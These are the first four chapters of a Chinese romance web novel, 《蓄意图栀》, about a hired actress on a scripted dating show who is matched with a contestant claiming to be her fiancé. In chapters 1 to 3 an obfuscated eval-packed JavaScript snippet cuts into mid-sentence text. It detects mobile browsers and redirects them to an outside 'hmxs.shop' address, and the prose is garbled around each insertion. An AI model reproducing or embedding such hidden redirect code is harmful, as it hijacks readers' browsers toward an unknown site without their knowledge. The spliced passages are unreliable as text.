《蓄意图栀》 1. 第 1 章 “欢迎来到露露九宝粥冠名的《缘来是你》相亲节目现场!” 台上,聚光灯靠拢。 主持人快步走向台中央,声调激昂地对着镜头打招呼。 台下。 兼职“演员”涂栀芝头戴一顶海王红发套,脚踩十二厘米恨天高,浓妆艳抹辣得连妈都不认。 夸张妆容下少女面容姣好,绷着脸面无表情。 看起来冷漠暴躁不好惹,但额前密布的汗珠出卖了内心的崩溃和恐惧。 原因无他—— 丢脸,实在太特么丢脸了。 从小到大还没做过这么杀马特的造型。 “让我们掌声欢迎下一轮女嘉宾登场!” “Geegeegeegee,Babybabybaby——” 炫酷音乐开场,灯光亮起。 前面的姐妹们有条不紊地登台露面,涂栀芝缩在队尾,深吸一口气,内心疑惑。 为什么其他女嘉宾妆造就没她这么丑? “叮——” 新的一声音效响起,大屏幕上显示出涂栀芝的登场序号29。 深呼吸,放轻松,面带微笑走上台,然后照着彩排那样比个心。 前半程都没摔倒,很好,任务完成三分之一。 大屏幕上的背景颜色不断变换,马上就要揭示29号的站位分区。 这是节目的特色流程,男嘉宾根据对女嘉宾初印象简单做一个“心动区”和“观察区”的区分。 只是现在剧本成分更多,有的女演员甚至为了多些镜头自愿降薪,让编剧把自己写到“心动区”。 但涂栀芝只是来兼职的,并没有进军娱乐圈的想法。 所以,她的十场剧本都是“观察区”。 于是这场登台,她也轻车熟路地往观察区老家走。 却没有注意到意外就此发生。 本该蓝绿的大屏幕突然毫无征兆地变成了粉红色,上面还蹦出来几颗特效爱心。 数字29跟着节奏律动跳跃,两只丘比特翩翩起舞—— 她被神秘男嘉宾划到了“心动区”。 眼见着她还打算往观察区跑,这节目剧本就有要穿帮的趋势。 台下的导演急了,连忙打开涂栀芝的对讲话筒大喊:“心动区,心动区!29号走错了赶紧回来!” 涂栀芝:“?” 被耳麦里突然传出来的导演声音吓得一惊,差点脚底打滑。 而后猛然一抬头,这屏粉得让人宫寒。 她怀疑人生都不会怀疑自己的记性。 剧本上的十轮都是铁打的观察区。 涂栀芝一脸命苦地看着导演,什么草台班子还临时改剧本。 导演急匆匆地挥手示意她去心动区找位置,并暗示她镜头还拍着,稍微笑一个。 涂栀芝只好带着比哭还难看的笑拎着裙子往心动区走,狼狈地躲着那该死的镜头,差点崴了脚。 站立后,涂栀芝心如死灰。 刚刚那近景镜头怼脸拍,对想要加戏的女演员来说那可是千载难逢的好机会,但对她来说就是高清无.码黑历史。 若是被熟人看到,那真是这辈子都有了。 早知道就不该答应当这劳什子女嘉宾,她本来报名的也只是观众。 莫名抬咖,纯属意外。 不知道导演组那群人怎么能那样心大,“不小心”把女嘉宾的offer和剧本错发给了她。 看着“实习生”疯狂为自己的疏漏道歉,泄露了节目组机密会被开除云云。 涂栀芝一个心软,于是答应了当女演员也行,签下合同。 顺便还能安慰自己,至少女嘉宾工资又比观众群演高。 但没想到,落笔签字的瞬间就是她命运转折的开始。 高收益意味着高风险。 钱赚到了,脸也丢了。 事已至此,只能认栽。 但一想到两区女嘉宾的工资不一样,她还是难受。 加戏“心动区”不是她本愿,要是脸都丢成这样了还被趁机扣钱,才是赔了夫人又折兵。 顺便在心里蛐蛐男嘉宾同事哥,两个那么大的按键怎么能拍错? 左右不分记得去脑科,色盲不辨去挂眼科号。 …… 按照流程,下一环节。 男嘉宾在后台选择唯一挚爱女嘉宾,同时,女嘉宾在前台大屏上观看男嘉宾的初印象短片。 而在镜头照不见的角落里,涂栀芝毫不在意形象地脱了恨天高歇歇脚。 看看到底是哪个冤家,还没见面就先被她单方面结仇。 但她心里的怨气还没持续半分钟,就被男色给净化了。 如果这位男嘉宾有这么标准完美的身材进入这个破相亲节目现场,记住她现在的微笑嘴脸。 女嘉宾一派都带笑上班。 虽然初印象的视频脸会被遮挡,但流畅而又结实的小臂肌肉线条足以让人眼前一亮。 身材比例更是不错,能感觉到健身锻炼的痕迹却不过度,穿着最简单的休闲套装也难挡与生俱来的松弛感。 有时候不需要看脸。 帅,是一种感觉。 但光盯着人家的翘臀看还是有些不太礼貌。 涂栀芝自认为不是一个肤浅的登徒子,还应该很敬业。 视频进度条已经过半,她是时候低头穿鞋准备再次上镜。 镜头拉回到前台,她立马重回状态。 假笑着抬起手,跟各位同事一起鼓掌,迎接男嘉宾登场。 “Iloveyoubabyandifit''squitealright——” 灵魂乐与摇滚风交织,将整个舞台的气氛渲染至一场新的火热。 但,这样听了让人荷尔蒙飙升的浪漫旋律很遗憾没能唱够两句,连版权费的起付线都没达到就被一阵急促的响铃声打断了。 “定叮叮咚咚……怦怦、怦怦——” 什么情况呢?涂栀芝还在想着。 一抬眼,又和大屏幕里的自己来了个惊天对视。 涂栀芝:“?” 再一看,大屏下方飘上字了: 【缘来是你爱的见证,恭喜男嘉宾获得29号女嘉宾的超心动强势爆灯!】 爆灯意味着女嘉宾对男嘉宾不可撤销的选择,坚定不移的一见钟情,最后环节还有专属机会向男嘉宾真情告白,诉说自己轰轰烈烈的汹涌爱意。 但涂栀芝并不想要,且一脸莫名其妙:这特么谁给我报的名? 不是。 这特么谁给她爆的灯啊! 她有些怀疑地低下头,看向右边胳膊肘,逐渐真开始怀疑自己的记性了。 刚好像没碰到什么东西吧,但没碰东西这灯总不能自己爆啊。 那她就是不小心碰到了一下? 但她真没感觉碰到过什么东西啊@#¥%&*…… 还没等涂栀芝想明白,她操作台前的喇叭又传来了导演的疑问。 “29号呀,怎么又是你呢?” 一时半会儿怎么要跟导演解释这种“灵异事件”? 涂栀芝揉了把脸,选择先抗下这口锅,趁着镜头拉远的功夫朝导演道歉。 “对不起导演!我不是故意加戏抢镜头的,刚可能是不小心蹭到了……” 不按剧本违反规定用灯,是合同上明令禁止的严重违约现象。 涂栀芝冒出了一身冷汗,满心在想怎样才能说清这场意外非她导致。 但没想到,导演的态度出奇的好,丝毫没有对搞砸戏的“演员”的责备,还柔声细语安慰她。 “好哦,这世上每分每秒都在发生大大小小的意外嘛,可以理解。” 涂栀芝:“……啊?” 看上去这么酷拽的导演居然比她们初中班主任都好说话。 导演又笑眯眯地说:“但事情既然发生了呢,就回不去了对吧?与其空想回忆,倒不如想想怎么解决后面的情况。这个灯,咱们爆了就爆了,问题不大。” 涂栀芝被导演和煦的态度感化了,这是不要赔钱啊。 她疯狂点头,有些感激涕零。 “好的!非常感谢导……” 导演一看,稳了,遂图穷匕见露真招。 “所以呢,你先准备一下最后环节跟男嘉宾的那个深情表白,言辞要恳切,语气要深情。当然,万一你们气氛上来了实在情不自禁当台热吻,我们节目也是报了案的,可以拍。” 涂栀芝:“……演?” 演我呢? 她疯狂点着的头一歪,差点闪了脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781325|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 导演已经话说到位,又不给涂栀芝再反应的机会了,直接切对讲到了摄像频。 “二机位摄像,赶紧拉镜头呀!快给咱们29号拍一个大大的美丽特写!” 涂栀芝嘴角一抽,能不能不拍? 她今天已经在这里批发一箩筐丑照了,太下饭了。 但导演总能恰到好处地拿捏住她的关键命脉,适时打开了涂栀芝面前的喇叭小声说:“亲爱的,如果不补拍爆灯时惊喜表情的话,这整场就得重录了哦。” 涂栀芝:“……” 导致一整场重拍的违约金,那是在要她的命。 她瞬间换上招牌假笑,变脸比翻书还快,甚至超常发挥,还浮夸地wink了一下,朝镜头那边的男嘉宾抛媚眼。 导演非常满意,都开始从专业角度夸她:“你看,这不是戏很好嘛,非常有天赋!” 涂栀芝嘴角又抽。 可以,但没必要。 事已至此,只要别搞得付费上班,什么都好说。 这个流程过去,主持人及时拉回录制进度,伴随着轻快的背景音介绍男嘉宾出场。 沉重的涂栀芝愣了半天,才依稀灵魂回身听到几个字。 “……祝寻之……博士毕业于M大,现在是一名职业经理人。” 寥寥数语足以让人浮想联翩。 升降台缓缓降落于台面,迈步而来的男人眉宇深邃硬朗,骨相优越,一身休闲西装难掩贵气,举手投足风度有礼,留学多年,气质却沉稳内敛。 尤其是他那双含情眼,涂栀芝对上一眼后便匆匆挪开目光,心跳不由攀升加速。 一时间都快忘了这还是在节目录制现场,许久都没回过神来。 台上台下掌声空前热情,足以见得他在这次录制中的人气之高。 主持人压了压掌心,会场才安静下来停止躁动,录制得以继续。 他的自我介绍更是简单得有些潦草:“大家好,我是祝寻之。” 语气很轻,音色却磁性中气。 “简介见视频。” 若是别人敢这样说,台下指定倒彩声一片。 可他的声音伴着轻微电流声穿过,低沉寻味,让所有人都不觉屏息,忘了反应。 舞台灯光耀眼纷杂,他却精准地将目光落到“涂枝枝”名牌前,毫不掩饰地弯了弯唇角。 “幸会为我爆灯的栀芝小姐。往后余生,请多关照。” 态度又跟刚刚惜字如金的自我介绍来了个一百八十度大转弯。 这话说的暧昧而含糊,指代性意味很强,台下观众渐渐反应过来,唏嘘起哄声慢慢响成一片。 涂栀芝颅内也随之绽开了炫彩斑斓的烟火,炸得她有些不知所措。 这才见第一眼,他开口第一句话都跟她唠完下半辈子的事了。 换了别人可能都开始冒粉红泡泡,沉浸在幻想之中。 但她涂栀芝接连闯祸现在为财所困,向来油盐不进。 这又是什么突发剧情。 剧本没教过她接下来该怎么演。 转头看导演,导演一脸姨母笑。 涂栀芝:“?” 有没有人管一下的。 导演对现在的节目效果很满意,低成本相亲节目拍出韩剧宿命感。 赚了,赚大了。 转头丢了个眼神,示意涂栀芝自由发挥就好。 涂栀芝:“……” 真有意思,就算我敢放开了演,导演你真敢拍吗? 哦,他还真敢。 她往心里憋住一口气,开始临场发挥。 “你好,祝先生,很高兴认识你。” “祝寻之”微微颔首以作回应,目光从一开始就没从她身上移开过。 他那样坚定又深邃的眼神让她完全无法招架,幸好粉底打了两斤厚,灯光又亮得爆顶,才看不出什么破绽。 偏偏又有一双通红的耳朵露在外面,出卖了她躁动的心。 涂栀芝心里抹了一把虚汗。 活爹,长得帅了不起! 恃靓行凶让她都气不起来了。 应该是哪个老爱豆糊糊没活出来接小戏,总感觉有些眼熟。 就是太没豆德,随意改剧本加戏不说,还不打招呼带着她一起乱出风头。 2. 第 2 章 见面打招呼的环节过去,到了女嘉宾们的提问时间。 主持人开始推进录制流程,而涂栀芝终于有机会松了口气。 而台上女同事们,不对,这次各位已经真情实感地代入到了“女嘉宾”的角色中,开始异常积极地向“祝寻之”提问。 别说台上的不淡定了,就连台下的欢呼声也有点过于热情。 主持人也搜集了许多网上的“死亡问题”当场提问,想制造更多节目效果,都被他逐个化解。 “如果您女朋友跟您一起外出游玩时对‘出片’的要求很高,您会怎么做?” “帮她拍,直到她满意为止。虽然我留学期间拍的风景照曾上过Aperture,但对于人像,希望未来的她能给我更多耐心和时间,让我精进技术。” 涂栀芝:噫,开屏了,装起来了。 “平时休闲时间您会干什么?” “旅行,运动,阅读,料理,养生等。” “能否具体说说?” “以养生为例,平时会注重作息和营养搭配,空闲时会看一些有关中医药的书籍和纪录片。” 涂栀芝:又给他装……等等,什么?中医药? 她思绪中断,又用打量的眼神将他从头到尾扫了一遍,仔仔细细,似乎想看穿他这句话里的真实性。 涂栀芝出身于中医世家,外公外婆都是闻名遐迩的南派中医药学专家,她对中医药文化也是从小耳濡目染,有着独特的感情。 骤然在这种情境下听到中医,竟也莫名生出一种遇见了同好的亲切之感。 他最好是真的爱好,不是搞潮流借题发挥造人设。涂栀芝忿忿想。 “以养发为例,家中常备黑豆黑米,佐以黑芝麻和桑葚煮粥或成糊,一周只需二到三次,坚持下来便能有良好的效果。” 他的头发乌黑发亮,眼睛也是漆黑有神,为他的话增添了不少可信度。 台下又是一阵掌声。 涂栀芝的嘴角也已经按不住上扬,心里却还在抬杠:这你就说少了,黑色食物最大的作用还得是补肾补精! 她打起精神,更认真地听着他接下来的回答。 渐渐地,她心中有了答案,他应该是真的对中医药有浓厚兴趣,毕竟他确实没必要独独拿这个装场面。 问答只与业余休闲相关,更像闲聊,“祝寻之”的回答却都能蹦出几个专业词汇,临时抱佛脚做不到这个份上。 还有情感方面的回答,并不像为了节目而假装刻意讨好,而是良好的家教下使得他骨子里就会对另一半保持绝对尊重。 “异地不是问题,应该想办法克服,另一半在哪个城市,我就跟到哪个城市。” “如果她喜欢旅行,我可以提前做好攻略,一起去任何想去的地方,如果她想待在家里,就精心为她做好每一顿饭。” “至于什么时候结婚,这完全尊重她的意愿。不想领证便抛开形式,我愿意一辈子跟着她,直到她不需要我的那一天。” “孩子更无所谓,完全由她心意,我只负责全力配合。” “……” 主持人无法做到鸡蛋里挑骨头,台上的女嘉宾们更是换了个眼神,打工的疲惫一扫而空。 不过导演目前也很满意,这场剪出来,就光剪男嘉宾的脸,收视都一定很不错。 就是有一点不太好,“祝寻之”老是不看着镜头说话。 明明在听问题的时候他还能看着对应提问的女嘉宾,虽然一张俊脸看起来冷冷淡淡没啥表情,但态度依然礼貌客套。 偏偏他每次答到一半,眼睛又跟开了自动追踪器一般看向29号涂枝枝,嘴角还扬起两个像素点的淡淡弧度,带着点让人难以发觉的笑意。 29号那地方又偏,他的脑袋一转,幅度就特别明显。 主摄像机的摇臂就只能晃动着追。 他转,他追,她插翅难飞。 为了配合这位祝先生,摄像大哥和同事姐涂枝枝累得脑细胞都干晕好几个。 频频的镜头使得她再次丢脸又不好划水,慢慢升起的赞许又被渐渐增长的愤怒压了下去。 涂栀芝站在角落咬紧了后槽牙,不得已应付式地拉紧嘴角保持,苹果肌得到了充分锻炼。 微笑是一种礼貌,也是一种警告。 真心求问同事哥为什么老给她抛对手戏。他太敬业,是她不识抬举,禁止内卷戏份。 她没办法,只能勤勤恳恳保持工作状态,不过又有了新发现。 “祝寻之”这“老糊豆”的眼神戏还真有两下子,感情丰富,颇有层次,比一般的跨界小爱豆有演技多了。 在他看向自己的时候,真会让人产生某种自恋的错觉,总觉得他好像真对自己有意思。 - 因为女嘉宾问题太多,除了划水混子“涂枝枝”都抢着和“祝寻之”说话,所以主持人不得站出来控场,强制终止这个流程。 待各位女嘉宾都终于再次安静后,主持人转过身,又问了问站在自己身边的“祝寻之”:“那么男嘉宾还有什么问题吗?” 本来主持人就只是走个流程客套一问。 谁知道,“祝寻之”真的煞有介事地点了点头。 于是,涂栀芝再次感受到了他看向自己的目光…… 顺便在心里叹了口气。 祝:“我想知道29号栀芝小姐有没有什么问题。” 涂栀芝:“……” 镜头又转了过来,她已经浮了两斤劣质粉底的脸再次出现在大屏幕上—— 刚才过去不到半小时吧,怎么又进一步脱妆登峰造极变成这鬼样了!涂栀芝被自己的脸吓了一大跳。 她不想录了,想逃。 但逃不掉。涂栀芝挤出假笑,生硬地回答:“没有。” “祝寻之”微微一笑:“那我没有其他问题了。” 主持人:“!”又磕到啦。 其他女嘉宾:“?”嫉妒使人面目全非,为什么手滑爆灯的不是我? 在场观众更是直接欢呼出声:“哇哦!”好体贴,好绅士,好深情,好专一! 涂栀芝本人:以下六点想法。 …… 终于进入下一条短片。 而涂栀芝现在的心情就算再复杂,却依然舍不得不看“祝寻之”的记录片。 抛开节目上的连环悲剧不谈,只就客观来说,他也足够优秀。 优秀到让她对他产生了好奇心,想要了解更多。 前面的都是些空话,涂栀芝也没多想,最重要的是,说到情感经历,居然空白。 短片中自我陈述只是单向暗恋了一个人很久。 涂栀芝零帧起手直呼渣男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781326|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原本还萌动着的心仿佛被针扎了一下,瞬间觉得没劲了。 他的完美果然只是节目人设,应假尽假。 导演组能不能编得稍微现实一点,真全照着小言男主写吗,这么优秀还没谈过恋爱? 狗都不信。 而这条短片完,原定要灭灯的女嘉宾也有很大一部分开始不听指挥了,都把灯留着。 可能也是想多一线希望,多一个和难得的年轻优质单身男性.交朋友的机会。 因为大家都不灭灯,主持人犯了难。 按照流程本该是男嘉宾反选,但这个反选人数太多,流程有点复杂。 但规矩是死的,人是活的。 于是导演临时改了规定: “鉴于男嘉宾很受欢迎,我们决定先看看男嘉宾的心动女嘉宾是谁!大家掌声!” 台下观众情绪高涨,纷纷起哄喝彩,涂栀芝也挺好奇。 假人设归假人设,她也想看看真帅哥的审美如何。 屏幕转动着的数字停了。 主持人激动的宣布道:“是29号!” 台下观众齐刷刷:“29号是哪位!” 29号涂栀芝浮了一脸粉,表情扭曲,怀疑人生:“?” 真帅哥的审美好像有点问题。 她可以在心里万马奔腾,但面子上还得拉出笑脸继续演。 涂栀芝立马在线开始飙演技,伸出双手在面前合拢,脸上露出不敢置信的表情,三分喜悦三分诧异四分羞涩赧然。 而台中央的“祝寻之”依然一脸温和,含笑尔雅。 目光定定地看着她,期待着她的反应。 “噢!现在节目有意思了,”主持人一副吃到大瓜的样子,逐渐开始放飞自我,“心动女嘉宾已经爆灯了,按照流程,他们是已经牵手成功了!” 说完又开始啪啪啪带头鼓掌。 台下气氛愈演愈烈,起哄声经久不休。 “在一起!” “在一起!” “……” 而周围有女嘉宾甚至嫉妒得脸都青了。 涂栀芝汗流浃背:哎,只是演戏啊,各位戏过了嗷! “让我们请29号女嘉宾涂枝枝走到舞台中央!” 主持人慷慨陈词,主持风格来了个一百八十度大转弯,直接变身成为婚礼现场的司仪先生。 涂栀芝深吸一口气,顶着四面八方投来的灼热目光心里打鼓,但表面上还是稳稳地走着台步。 要是再一个不小心高跟鞋没穿稳崴个脚什么的,她将现场表演花季女大学生原地暴毙薨倒。 而她没想到的是,在自己一步步小心翼翼地地走上前时他却先迈开了步子向她走来。 他面带微笑地向她伸出手,身后是聚焦的舞台灯,他的眼神却比灯光更璀璨,坚定从容,风采卓然。 或许是氛围使之,涂栀芝也感觉自己的心跳不止为此刻的紧张加速,冥冥之中她也有些真情实感地进入了“牵手”的这出好戏之中。 她几乎没有任何犹豫地就将手搭在了他的臂弯上,因为有了依靠,她接下来的步子变得稳健了许多。 站在他身边一路走过去,涂栀芝心里竟然也莫名有了一种近乎喜悦的情绪。 完蛋了,她想。 明知是假人设假戏,疯狂的心跳却无比真实。 3. 第 3 章 涂栀芝觉得自己简直就是昏了头。 这明明还是在上班啊,“上班”这俩字,无论如何都是不可能和什么积极情绪扯上关系的。 她又以极小的幅度偏过头去悄悄看了身边的人一眼。 见鬼了,“祝寻之”竟然一直笑着。 眼底都有着不加掩饰的喜悦,发自肺腑。 演的也太真了吧。涂栀芝纳闷地想,原来真有人这么喜欢上班的吗? 还是这种从骨子里散发出来的热爱。 两人并肩在台上站立。 涂栀芝走近了才发现,即便自己穿了高跟鞋,“祝寻之”还是比自己高出不少,刚刚触碰他手臂后感受到的张力仍能让她指尖留有触感。 节目组自然也不会轻易放过这个郎才女貌的名场面。 所以,即便他们已经有了“牵手成功”的结局,也让他们腻歪着表个白。 在表白这方面,涂栀芝没什么经验,就算有,也是十分失败和惨痛的经验教训。 见她一直咬着下嘴唇沉默,“祝寻之”先一步开口:“虽说女士优先,但这种事情还得是男生来主动,她害羞,所以我先来。” 涂栀芝愣了两秒,才反应过来很赞同地点点头。 同事哥想要加戏加台词,当然是把这福气给他啦。 他思忖须臾,像是下定了某种决心一般,缓缓道: “我从没想过,会以这样的方式再次出现在你的面前。但既然上天给了这次新机,我一定不会再放手错让。 请给我一个机会,栀芝,我愿意接受你的所有考验。” 他说这番话时的声音更加低沉了,语气更是前所未有的温柔。 原本吵闹的录制现场也变得安静下来,所有人都摒住了呼吸,等待着女嘉宾的反应。 涂栀芝似是被他的眼神所蛊惑,又像是被现场的氛围所驱动。 鬼使神差地,她来不及细想他刚刚的话,便已经脱口应允: “好,我愿意。” 话言掷地有声,霎时全场哗然,掌声雷鸣,经久不息。 甚至她还没有向他“表白”,故事已经这样圆满。 …… 直到和“祝寻之”两人满面春光地牵手离开现场,涂栀芝都觉得好像做了一场梦一般。 不是吧,她就这么把自己交代出去了? 但是话可不能这么说。 她不是真来这儿找对象的。 现在的情况是,她已经被“牵手下台离场”,这是不是意味着她已经提前下班了? 今天本该换两套衣服录十个男嘉宾,但是这才第三个,她就“成功牵手”了。 这么说来,她是不是还得感谢一下“祝寻之”…… 但如果按件计算的话,她又少演了几场,如果按场次和工时工资倒扣的话就倒霉了。 涂栀芝一刻也不敢放松,准备冲到工作区去找导演问个明白,但走在路上她反而先被导演叫住了。 “欸,那个29,不要乱跑啦,大家都在备采室等你呢!”导演笑得活像岳母娘见了东床快婿,欣慰得鱼尾纹都要挤出来了。 “哦……”涂栀芝一个哆嗦应声,鸡皮疙瘩掉了一地,回头跟上导演。 牵手成功之后,成对的男女嘉宾还有一个后采环节。 这次更是大写加粗的怼脸拍,尤其和一旁正常的“祝寻之”形成鲜明对比,一个唇红齿白,一个“鬼面狰狞”。 反正也不是头一趴跟他同框丢自己的脸,涂栀芝直接放飞自我。 主持人:“请问女嘉宾在爆灯的时候都想了些什么?” 我在想你们节目组到底是要倒闭了,这按键特么的有问题。 但涂栀芝不可能真说心里话。 经过这一下午的“锻炼”,她已经可以说谎不打草稿,台词不过脑现编:“男嘉宾的第一条短片就很触动我,他在国外求学的经历,他丰富的休闲生活,尤其是他还提到对中医药兴趣,让我很有共鸣,觉得他不可错过,于是我就先下手为强啦。” 闻言,“祝寻之”的目光轻轻闪动。 主持人:“那么男嘉宾又是如何选定心动女嘉宾的呢?” “祝寻之”一脸坦然:“无需思考,我就是为她而来。” 语气之真情实感,涂栀芝都有点打心底里佩服他的演技,真是秒杀现役跨界爱豆。 高,实在是高。 扯这种惊天大犊子都能连眼睛都不带眨一下。 还为她而来,他们明明见都没见过。 她都被他演得有些伤感了,长得又帅演技又好,怎么就不火呢? 真愁人,要不等会儿下了班上微博关注一下给他涨个粉,也算是同事一场尽一份微薄心意。 而这答案显然也在主持人的意料之外,她微笑了一下,标准地回应道:“看样子我们以为的偶遇和巧合,其实都是二位的有意为之。恰好你们一位‘枝枝’,一位‘寻之’,名字都有几分天注定,感谢二位让《缘来是你》见证了你们的双向奔赴。” 主持人又看向涂栀芝,镜头也对准她。 涂栀芝有些失语地回看主持人,再次感叹,不止演员,这主持人的业务水平也是高,一个个都如此精通说瞎话不打草稿。 而她也不甘示弱,很快回过神来编出一套更瞎的话术,应对着镜头弯唇笑道:“我们也很感谢露露九宝粥爱的味道冠名的《缘来是你》节目组,这才能让我们有机会牵手成功!” - 在后台接受完所谓的采访之后,涂栀芝便接到了导演的指令,可以回到休息室换衣服提前下班了。 而且刚刚导演还说她表现得不错,整场节目下来,虽然没有提前串通,但是很有节目效果,还特意多给她发了个红包。 一共五千,刚刚一个小时的“表演”她就赚了五千! 姐妹们,就说正道崎岖,但这种邪路总能误打误撞地发财吧? 都说娱乐圈钱好挣,这才刚沾边收入就十分可观。 算了,她的脸其实也没那么要紧。 只可惜这钱赚的是一次性的,这次牵手下去了,下一场就录不了了,但回想起“祝寻之”的脸,好像也没那么遗憾。 “荧幕情侣”是他,居然还感觉赚了。 涂栀芝窝在小沙发里美滋滋地数着钱,又听见有人敲门。 她起身开门,发现刚刚分别还不足一刻钟的那位男嘉宾又站在了自己面前。 见到涂栀芝,“祝寻之”的表情有一瞬间明显地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781327|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔住,但又很快放松下来,弯唇微笑。 大约是因为涂栀芝已经换好了衣服,也简单卸了妆,他才会一时没反应过来。 她那两三斤厚的刷墙粉底终于被收拾干净,海王红假发也摘了,夸张的假睫毛和大红唇不见踪影。 涂栀芝现在素面朝天,原生的皮肤就嫩的可以掐出水来,穿着简单的卫衣和牛仔裤,背着一个双肩包,俨然就是女大学生的青春模样。 “您好,请问还有什么事情吗?” 既然是以后都不会再见的散伙同事,还算她的半个“福星”,涂栀芝现在对他的态度可谓极好,语气温柔地先开了口。 “嗯。” “祝寻之”镇定点头。 “嗯嗯,您请说。” 涂栀芝现在心情不错,洗耳恭听。 但“祝寻之”总能恰好好处地破坏她的心情,给出一发重击。 “作为您的未婚夫,想来重新找你做个自我介绍。” 涂栀芝:“!?” 她揉了揉自己耳垂,怀疑自己幻听了。 整整三秒,沉默,静止,大眼瞪小眼。 她缓了缓,才找回自己的声音:“不好意思我刚才可能没太听清你……” 于是,“祝寻之”想再重复一遍:“作为您的未婚夫,我想……” “砰!”的一声。 涂栀芝没给他再来一遍的机会,已经赏了他一记大闭门羹。 不,你不想。 “祝寻之”站在门外,脸上却并无被拒绝的消怠。 反倒嘴角微微上扬,抬起手来打算重新敲门,但顿了片刻,又放下了手,赌她会不会重新给自己开门。 门后,涂栀芝勉强有了一个独立的思考空间。她扶着额头,还在消化他这句“虎狼之词”。 这人好像不仅是个卷王,还是一个卷疯了的,卷到极致有些走火入魔精神失常的。 这哥们真是入戏太深,现在都下班了还没有走出角色,居然还追着她喊她—— 未?婚?妻? 门里门外,又是沉默良久。 终于,涂栀芝意识到自己这么做可能还是有些不太礼貌,毕竟人家虽然卷,也帮她拿到了更多的奖金,还提前下班了。 所以于情于理,她都礼貌地来个“永别”。 重新整理好心情开门,便看到他依然神态自若地站在门口等着她。 低眉顺眼,感觉温顺着没什么攻击性,甚至眼尾还有点泛红,平添几分破碎感。 涂栀芝一个心软,又咬了咬下嘴唇,开口道:“不好意思,我刚刚想起一点事所以又进去处理了一下。” “祝寻之”轻轻地“嗯”了一声,受到赦免,周遭的气息又一下变得松弛:“那我继续了。” 还没等涂栀芝反应过来他要继续什么,他已不绝开口: “涂小姐您好,我是祝容蓄,‘寻之’只是方才录节目的化名。 我身高一米八八,体重七十七公斤,身体健康,智力正常,无不良嗜好,物质方面也还不错,不出意外的话,我名下的资产我们这辈子都花不完。 而今天起,我还有一个新的身份,那就是涂小姐您的未婚夫。” 年龄他倒是只字不提。 4. 第 4 章 祝容蓄这一番如加特林一般的话炸在涂栀芝的耳边,足以让她眼冒金星找不着北。 “等、等一下。” 涂栀芝伸出手来,比了一个暂停的手势。 因为有之前的铺垫,祝容蓄后面的这句“未婚夫”的杀伤力已经小了很多了。 至少,涂栀芝没又被当场雷焦,还能站在他面前有点反应。 虽然她现在满脸通红,说话也没往日那么机灵,支支吾吾地有些不知所措。 但她还是尽力找回自己的思绪,艰难地说:“那我现在应该叫你祝……容蓄,对吗?” “嗯。”祝容蓄微笑点头,顿了顿,又道,“或者也可以像我的家人那样叫我阿蓄。不习惯的话也可以叫我学长,毕竟我们是宁大校友。” 祝容蓄说完这些话之后,仿佛在等她能有些什么反应。 似乎想通过自己刚刚的那些话勾起涂栀芝某些久远的回忆。 涂栀芝眨了眨眼睛,又仔细地看了看他的五官。 感觉确实是有点熟悉,但她将其归结为“帅哥长得都这样”,毕竟她很容易脸盲。 很遗憾,涂栀芝搜遍了自己的整片脑海,都确定自己并不认识一位姓祝的学长。 而他的眼睛颇有神采,瞳仁晶莹,里头盛满了情绪。 或是期许,又有迟疑和小心翼翼,还有些不易让人察觉的悲伤。 他的目光一直都太过直白和炽热,涂栀芝有些不敢抬头和他对视。 但她还是理清思路很有礼貌地回绝了他:“嗯。好的,祝先生。是这样的,我很能理解您敬业的心理,您一时半会儿没有出戏我也没意见,但是未婚妻什么的……真的不能乱叫。” 祝容蓄皱了皱眉,沉吟片刻,又说:“可是你刚刚已经答应我了。” 涂栀芝:“?” “我答应你什么了?” “在舞台上,你刚刚对我说——‘我愿意’。” 涂栀芝急了:“可是刚刚是在演戏啊,现在咱们都下班了,这些都已经过去了!” 祝容蓄蹙眉,迟疑道:“演戏?下班?” “对啊!”涂栀芝肯定地点点头。 可她又结合了他刚刚在台上的反应,有些怀疑了。 “你难道……不是演员?” 祝容蓄眼神骤冷,凉凉反问:“什么演员?” 涂栀芝闻言呼吸一滞,缓缓抬头,再次和他对视。 而祝容蓄一双黑眸深不见底,眼神似乎格外真诚,只是带了一些疑惑,看起来好像真不知节目剧本内情。 涂栀芝这会儿是真的有些绷不住了。 原来人家还真不是演员,居然是个正儿八经来报名参加节目的。 所以他才会没有剧本、完全不按照套路出牌吗? 也不是真的跟她有仇非要卷她。 但祸从口出。她无意间又向不知情人士“泄密”了。 因为合同上有规定,不能向不知情者透露节目有剧本的相关事项。 ——这是她今天第N次违反合同。 趁导演还不知道,涂栀芝紧急撤回。 